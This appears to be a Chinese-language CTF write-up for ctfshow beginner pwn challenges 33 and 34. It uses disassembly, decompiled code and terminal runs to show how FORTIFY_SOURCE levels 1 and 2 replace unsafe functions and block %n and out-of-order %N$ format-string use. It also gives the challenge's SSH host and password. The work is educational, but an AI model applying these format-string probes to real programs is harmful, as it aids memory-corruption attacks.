.text:000000000000092A public Undefined .text:000000000000092A Undefined proc near ; CODE XREF: main+117↓p .text:000000000000092A .text:000000000000092A flag = byte ptr -48h .text:000000000000092A .text:000000000000092A ; __unwind { .text:000000000000092A push rbx .text:000000000000092B sub rsp, 40h .text:000000000000092F lea rdi, s ; "The source code of these three programs"... .text:0000000000000936 call _puts .text:000000000000093B lea rdi, aYouShouldUnder ; "You should understand the role of these"... .text:0000000000000942 call _puts .text:0000000000000947 lea rsi, modes ; "r" .text:000000000000094E lea rdi, filename ; "/ctfshow_flag" .text:0000000000000955 call _fopen .text:000000000000095A f = rax ; FILE * .text:000000000000095A test f, f .text:000000000000095D jz short loc_980 .text:000000000000095F mov rbx, rsp .text:0000000000000962 mov rdx, f ; stream .text:0000000000000965 mov esi, 40h ; '@' ; n .text:000000000000096A mov rdi, rbx ; s .text:000000000000096D call _fgets .text:0000000000000972 mov rdi, rbx ; s .text:0000000000000975 call _puts .text:000000000000097A add rsp, 40h .text:000000000000097E pop rbx .text:000000000000097F retn .text:0000000000000980 ; --------------------------------------------------------------------------- .text:0000000000000980 .text:0000000000000980 loc_980: ; CODE XREF: Undefined+33↑j .text:0000000000000980 f = rax ; FILE * .text:0000000000000980 lea rdi, aCtfshowFlagNoS ; "/ctfshow_flag: No such file or director"... .text:0000000000000987 call _puts .text:000000000000098C mov edi, 0 ; status .text:0000000000000991 call _exit .text:0000000000000991 ; } // starts at 92A .text:0000000000000991 Undefined endp
同样的它将flag打开并打印出来
这里仅仅有一个判断你输入的参数是否大于4,当大于4时即可拿到flag
$ ./pwn aaaaaaaaaaaa bbbbbbbbbbbb 6 flag * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanisms * Site : https://ctf.show/ * Hint : FORTIFY 0 1 2 * ************************************* aaaaaaaaaaa CTFshowPWN a aaaaaaaaaaaa %p 0x7fffffffe354 The source code of these three programs is the same, and the results of turning on different levels of protection are understood You should understand the role of these protections!But don't just get a flag Here is your flag: flag{just_test_my_process}#本地flag
pwn33 Hint:FORTIFY_SOURCE=1:启用 Fortify 功能的基本级别。 在编译时进行一些安全检查,如缓冲区边界检查、格式化字符串检查等。在运行时进行某些检查,如检测函数返回值和大小的一致性。 如果检测到潜在的安全问题,会触发运行时错误,并终止程序执行。 ssh ctfshow@pwn.challenge.ctf.show -p28177
$ ssh ctfshow@题目地址 -p题目端口号 ... ctfshow@pwn.challenge.ctf.show's password: #输入密码 123456 进行连接 $ ./pwnme aaaaaaaa bbbbbbbb ccccccc 6 flag * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanisms * Site : https://ctf.show/ * Hint : FORTIFY 0 1 2 * ************************************* aaaaaaaa CTFshowPWN aaaaaaaa aaaaaaaa flag flag The source code these three programs is the same, and the results of turning on different levels of protection are understood You should understand the role of these protections!But don' t just get a flagHere is your flag: ctfshow{...}
分析过程: FORTIFY_SOURCE=1:
checksec
$ chmod +x pwn $ checksec pwn Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
可以看到现在检测到开启了FORTIFY保护了
IDA查看源码:
int __fastcall main (int argc, const char **argv, const char **envp) { __gid_t egid; const char *v4; int v5; int num; char buf2[11 ]; char buf1[11 ]; egid = getegid(); setresgid(egid, egid, egid); logo(); v4 = argv[1 ]; *(_QWORD *)buf1 = *(_QWORD *)v4; *(_WORD *)&buf1[8 ] = *((_WORD *)v4 + 4 ); buf1[10 ] = v4[10 ]; strcpy (buf2, "CTFshowPWN" ); printf ("%s %s\n" , buf1, buf2); v5 = strtol(argv[3 ], 0 , 10 ); __memcpy_chk(buf1, argv[2 ], v5, 11 ); __strcpy_chk(buf2, argv[1 ], 11 ); printf ("%s %s\n" , buf1, buf2); fgets(buf1, 11 , _bss_start); printf (buf1, &num); if ( argc > 4 ) Undefined(); return 0 ; }
可以看到之前的一些危险函数已经被替换成了安全函数,并且在程序运行时进行检查,此时传入的
argv1就触发了检查,抛出异常。同时格式化字符串%2$x和%n依旧可用:
$ ./pwn aaaaaaaaa bbbbbbbbbbbb 6 * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanisms * Site : https://ctf.show/ * Hint : FORTIFY 0 1 2 * ************************************* aaaaaaaaa CTFshowPWN bbbbbbaaa aaaaaaaaa %n $ ./pwn aaaaaaaaa bbbbbbbbbbbb 6 * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanisms * Site : https://ctf.show/ * Hint : FORTIFY 0 1 2 * ************************************* aaaaaaaaa CTFshowPWN bbbbbbaaa aaaaaaaaa %2$x fbad2288
pwn34 Hint:FORTIFY_SOURCE=2:启用 Fortify 功能的高级级别。 包括基本级别的安全检查,并添加了更多的检查。在编译时进行更严格的检查,如更精确的缓冲区边界检查。 提供更丰富的编译器警告和错误信息。 ssh ctfshow@pwn.challenge.ctf.show -p28177
$ ssh ctfshow@题目地址 -p题目端口号 ... ctfshow@pwn.challenge.ctf.show's password: #输入密码 123456 进行连接 $ $ ./pwnme aaaaa bbbbb ccccc 6 flag * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanisms * Site : https://ctf.show/ * Hint : FORTIFY 0 1 2 * ************************************* aaaaa CTFshowPWN aaaaa aaaaa flag flag The source code of these three programs is the same, and the results of turning on different levels of protection are understood You should understand the role of these protections!But don' t just get a flagHere is your flag: flag{just_test_my_process}
分析过程: FORTIFY_SOURCE=2:
checksec
$ checksec pwn Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled Stripped: No Debuginfo: Yes
开启了FORTIFY保护,这次等级为2,在这无法体现出
IDA查看main函数:
int __fastcall main (int argc, const char **argv, const char **envp) { const char *v3; int v4; int num; char buf2[11 ]; char buf1[11 ]; logo(); v3 = argv[1 ]; *(_QWORD *)buf1 = *(_QWORD *)v3; *(_WORD *)&buf1[8 ] = *((_WORD *)v3 + 4 ); buf1[10 ] = v3[10 ]; strcpy (buf2, "CTFshowPWN" ); __printf_chk(1 , "%s %s\n" , buf1, buf2); v4 = strtol(argv[3 ], 0 , 10 ); __memcpy_chk(buf1, argv[2 ], v4, 11 ); __strcpy_chk(buf2, argv[1 ], 11 ); __printf_chk(1 , "%s %s\n" , buf1, buf2); fgets(buf1, 11 , _bss_start); __printf_chk(1 , buf1, &num); Undefined(); return 0 ; }
在IDA中能看到将printf函数也替换成了安全函数,那么格式化字符串%n也无法利用了,而%N$也
要从%1$开始连续才可用:
$ ./pwn aaaaaaaaa bbbbbbbbbbbb 6 * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanisms * Site : https://ctf.show/ * Hint : FORTIFY 0 1 2 * ************************************* aaaaaaaaa CTFshowPWN bbbbbbaaa aaaaaaaaa %n *** %n in writable segment detected *** Aborted (core dumped) $ ./pwn aaaaaaaaa bbbbbbbbbbbb 6 * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanisms * Site : https://ctf.show/ * Hint : FORTIFY 0 1 2 * ************************************* aaaaaaaaa CTFshowPWN bbbbbbaaa aaaaaaaaa %2$x *** invalid %N$ use detected *** Aborted (core dumped) $ ./pwn aaaaaaaaa bbbbbbbbbbbb 6 * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanisms * Site : https://ctf.show/ * Hint : FORTIFY 0 1 2 * ************************************* aaaaaaaaa CTFshowPWN bbbbbbaaa aaaaaaaaa %2$x %1$x 25782432ffffe384 The source code of these three programs is the same, and the results of turning on different levels of protection are understood You should understand the role of these protections!But don't just get a flag Here is your flag: flag{just_test_my_process}